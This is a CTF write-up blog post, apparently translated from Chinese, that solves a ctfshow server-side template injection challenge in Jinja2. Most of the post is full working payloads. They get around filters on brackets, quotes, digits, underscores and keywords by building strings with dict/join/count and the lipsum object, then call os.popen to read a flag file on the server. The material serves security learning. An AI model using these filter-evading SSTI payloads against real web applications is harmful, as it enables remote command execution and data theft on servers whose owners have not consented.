SSTI template injection – square brackets, args, underline, single and double quotes, os, request, curly braces, numbers are filtered and bypassed (ctfshow web entry 370) – CSDN Blog
ssti plate injection
I happen to not know the content of {%%}. Let’s study it.
After testing, it was found that {{}} was filtered
So let’s get started
We can use this statement to query whether ssti exists
{%if condition%}result{%endif%} Explain that if the condition is true, the result will be output, otherwise it will not be output. edit a bit {%if not a%}yes{%endif%} The second type {%print 123%} Judge by outputting 123
exists
Follow the master’s wp here. He has filtered the numbers. Let’s take a look.
Get numbers
{%set one=dict(c=a)|join|count%}{%set two=dict(cc=a)|join|count%}{%set three=dict(ccc=a)|join |count%}
You can get the numbers here
But this question doesn’t require
Then we first determine the payload we need
(lipsum|attr("__globals__").get("os").popen("cat /flag").read()
At this time we need to get_through lipsum|string|list
At this time, you can use the pop method
Get_
You need to get pop first
The pop method can delete an element in the column based on the index value and return the element's return value.
{%set pop=dict(pop=a)|join%}
{%set one=dict(c=a)|join|count%} {%set two=dict(cc=a)|join|count%} {%set three=dict(ccc=a)|join|count%} {%set four=dict(cccc=a)|join|count%} {%set five=dict(ccccc=a)|join|count%} {%set six=dict(cccccc=a)|join|count%} {%set seven=dict(ccccccc=a)|join|count%} {%set eight=dict(cccccccc=a)|join|count%} {%set nine=dict(ccccccccc=a)|join|count%} {%set pop=dict(pop=a)|join%} {%set xiahuaxian=(lipsum|string|list)%}{%print xiahuaxian%} Then we count and we can find that _ is at 24 so we can index {%set one=dict(c=a)|join|count%} {%set two=dict(cc=a)|join|count%} {%set three=dict(ccc=a)|join|count%} {%set four=dict(cccc=a)|join|count%} {%set five=dict(ccccc=a)|join|count%} {%set six=dict(cccccc=a)|join|count%} {%set seven=dict(ccccccc=a)|join|count%} {%set eight=dict(cccccccc=a)|join|count%} {%set nine=dict(ccccccccc=a)|join|count%} {%set pop=dict(pop=a)|join%} {%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}{%print xiahuaxian%}
successfully obtained
Then get golbals
name={%set one=dict(c=a)|join|count%} {%set two=dict(cc=a)|join|count%} {%set three=dict(ccc=a)|join|count%} {%set four=dict(cccc=a)|join|count%} {%set five=dict(ccccc=a)|join|count%} {%set six=dict(cccccc=a)|join|count%} {%set seven=dict(ccccccc=a)|join|count%} {%set eight=dict(cccccccc=a)|join|count%} {%set nine=dict(ccccccccc=a)|join|count%} {%set pop=dict(pop=a)|join%} {%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%} {%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%} {%print globals%}
Get os
First you need to get get
{%set get=dict(get=a)|join%}{%print get%}
Then
Then we can get os
{%set shell=dict(o=a,s=b)|join%}{%print shell%}
Get popen
{%set popen=dict(pop=a,en=b)|join%}{%print popen%}
Filtered and just change the name.
{%set one=dict(c=a)|join|count%} {%set two=dict(cc=a)|join|count%} {%set three=dict(ccc=a)|join|count%} {%set four=dict(cccc=a)|join|count%} {%set five=dict(ccccc=a)|join|count%} {%set six=dict(cccccc=a)|join|count%} {%set seven=dict(ccccccc=a)|join|count%} {%set eight=dict(cccccccc=a)|join|count%} {%set nine=dict(ccccccccc=a)|join|count%} {%set pop=dict(pop=a)|join%} {%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%} {%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%} {%set get=dict(get=a)|join%} {%set shell=dict(o=a,s=b)|join%} {%set pp=dict(po=a,pen=b)|join%} {%print lipsum|attr(globals)|attr(get)(shell)|attr(pp)%}
Got it successfully
Get chr
First get __builtins__
{%set one=dict(c=a)|join|count%} {%set two=dict(cc=a)|join|count%} {%set three=dict(ccc=a)|join|count%} {%set four=dict(cccc=a)|join|count%} {%set five=dict(ccccc=a)|join|count%} {%set six=dict(cccccc=a)|join|count%} {%set seven=dict(ccccccc=a)|join|count%} {%set eight=dict(cccccccc=a)|join|count%} {%set nine=dict(ccccccccc=a)|join|count%} {%set pop=dict(pop=a)|join%} {%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%} {%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%} {%set get=dict(get=a)|join%} {%set shell=dict(o=a,s=b)|join%} {%set pp=dict(po=a,pen=b)|join%} {%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%} {%print builtins%}
Get chr
{%set one=dict(c=a)|join|count%} {%set two=dict(cc=a)|join|count%} {%set three=dict(ccc=a)|join|count%} {%set four=dict(cccc=a)|join|count%} {%set five=dict(ccccc=a)|join|count%} {%set six=dict(cccccc=a)|join|count%} {%set seven=dict(ccccccc=a)|join|count%} {%set eight=dict(cccccccc=a)|join|count%} {%set nine=dict(ccccccccc=a)|join|count%} {%set pop=dict(pop=a)|join%} {%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%} {%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%} {%set get=dict(get=a)|join%} {%set shell=dict(o=a,s=b)|join%} {%set pp=dict(po=a,pen=b)|join%} {%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%} {%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(dict(chr=a)|join)%} {%print char%}
success
Then use the char splicing command
?name={%set one=dict(c=a)|join|count%} {%set two=dict(cc=a)|join|count%} {%set three=dict(ccc=a)|join|count%} {%set four=dict(cccc=a)|join|count%} {%set five=dict(ccccc=a)|join|count%} {%set six=dict(cccccc=a)|join|count%} {%set seven=dict(ccccccc=a)|join|count%} {%set eight=dict(cccccccc=a)|join|count%} {%set nine=dict(ccccccccc=a)|join|count%} {%set pop=dict(pop=a)|join%} {%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%} {%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%} {%set get=dict(get=a)|join%} {%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%} {%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(dict(chr=a)|join)%} {%set command=char(five*five*four-one)+char(five*five*four-three)+char(four*five*six-four)+char(four*eight)+char(six*eight -one)+char(three*six*six-six)+char(three*six*six)+char(five*five*four-three)+char(three*six*six-five)%} {%print command%}
Then just get the read
Get read
name={%set read=dict(read=a)|join%}{%print read%}
The last step is to splice the execution command
name={%set one=dict(c=a)|join|count%} {%set two=dict(cc=a)|join|count%} {%set three=dict(ccc=a)|join|count%} {%set four=dict(cccc=a)|join|count%} {%set five=dict(ccccc=a)|join|count%} {%set six=dict(cccccc=a)|join|count%} {%set seven=dict(ccccccc=a)|join|count%} {%set eight=dict(cccccccc=a)|join|count%} {%set nine=dict(ccccccccc=a)|join|count%} {%set pop=dict(pop=a)|join%} {%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%} {%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%} {%set get=dict(get=a)|join%} {%set shell=dict(o=a,s=b)|join%} {%set pp=dict(po=a,pen=b)|join%} {%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%} {%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(dict(chr=a)|join)%} {%set command=char(five*five*four-one)+char(five*five*four-three)+char(four*five*six-four)+char(four*eight)+char(six*eight -one)+char(three*six*six-six)+char(three*six*six)+char(five*five*four-three)+char(three*six*six-five)%} {%set read=dict(read=a)|join%}{%print (lipsum|attr(globals))|attr(get)(shell)|attr(pp)(command)|attr(read)()% }
I did learn it, but this is too troublesome. This is very extreme. We didn’t filter so much for this question.
Come normally
{% set pop=dict(pop=1)|join %} {% set kong=(lipsum|string|list)|attr(pop)(9) %} {% set xhx=(lipsum|string|list)|attr(pop)(18) %} {% set re=(config|string|list)|attr(pop)(239) %} {% set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join %} {% set geti=(xhx,xhx,dict(get=a,item=b)|join,xhx,xhx)|join %} {% set o=dict(o=a,s=b)|join %} {% set po=dict(pop=a,en=b)|join %} {% set cmd=(dict(cat=a)|join,kong,re,dict(flag=a)|join)|join %} {% set read=dict(read=a)|join %} {% print(lipsum|attr(globals)|attr(geti)(o)|attr(po)(cmd)|attr(read)()) %} The prototype here is lipsum.__globals__.getitem[os].popen(cat flag).read() Similar to this
What a horrible SSTI